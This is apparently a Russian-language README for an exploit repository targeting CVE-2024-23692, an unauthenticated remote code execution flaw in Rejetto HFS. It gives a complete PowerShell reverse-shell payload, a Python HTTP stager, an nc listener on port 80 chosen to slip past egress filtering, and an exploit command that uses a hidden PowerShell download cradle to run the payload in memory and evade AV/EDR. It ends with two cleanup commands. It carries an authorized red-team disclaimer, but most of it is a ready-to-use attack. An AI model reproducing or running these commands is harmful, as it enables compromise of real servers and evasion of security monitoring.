
Автоматизирует эксплуатацию CVE-2024-23692 против незапатченных Rejetto HFS с помощью обратной оболочки PowerShell в памяти, размещения полезной нагрузки через HTTP и обхода записи на диск для AV/EDR в рамках авторизованных red-team-мероприятий.
Тактическая документация и руководство по эксплуатации для CVE-2024-23692 — критической уязвимости удалённого выполнения кода (RCE), не требующей аутентификации, которая затрагивает Rejetto HTTP File Server (HFS) версий до 2.3m. В этом руководстве применяется техника обратной оболочки в памяти (только RAM), позволяющая успешно обходить сигнатурные обнаружения антивирусов/EDR, основанные на записи на диск.
Отказ от ответственности: Этот репозиторий и его содержимое предназначены строго для авторизованных оценок безопасности, работ по тестированию на проникновение, симуляций bug bounty и защитного форензик-аудита. Несанкционированное использование против сторонних сред строго незаконно.
Шаблон автоматизированной проверки, реализованный в этом proof-of-concept, основан на публичном репозитории, разработанном:
Этот метод использует модель развёртывания HTTP-стейджера для динамической доставки текстовой строки полезной нагрузки в целевую среду, вызывая её выполнение напрямую из оперативной памяти системы (RAM).
На вашем локальном C2/атакующем сервере создайте статический текстовый файл с именем index.html и заполните его следующим кодом цикла PowerShell TCP Socket:
\$c = New-Object System.Net.Sockets.TCPClient('<LHOST>',80);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){;\$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);\$sb = (iex \$d 2>&1 | Out-String );\$sb2 = \$sb + 'PS ' + (pwd).Path + '> ';\$sbt = ([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);\$s.Flush()};\$c.Close()
Откройте терминал в designated staging folder, содержащей файл шаблона полезной нагрузки, затем запустите мгновенный HTTP-листенер Python на альтернативном порту (например, 8080):
python3 -m http.server 8080
Откройте вторую независимую сессию терминала для приёма входящего постоянного обратного вызова оболочки. Настоятельно рекомендуется использовать порт 80 (или 443), чтобы легко обойти меры защиты периметра для исходящего трафика (фильтрация egress-фаервола):
sudo nc -lvnp 80
Запустите автоматизированный движок проверки, нацеленный на вашу инфраструктуру развёртывания. Целевой вызов перехватывает разбор команд через локальную обёртку выполнения CMD, чтобы поддерживать оптимальную стабильность строки без отбрасывания флагов параметров:
./CVE-2024-23692.sh http://<TARGET_IP>:<PORT> "cmd /c powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>')\""

Чтобы полностью устранить компрометацию и восстановить уязвимые операционные среды:
Get-Process -Name *hfs* | Stop-Process -Force
Remove-Item -Path "C:\Users\Public\*.exe" -Force -ErrorAction SilentlyContinue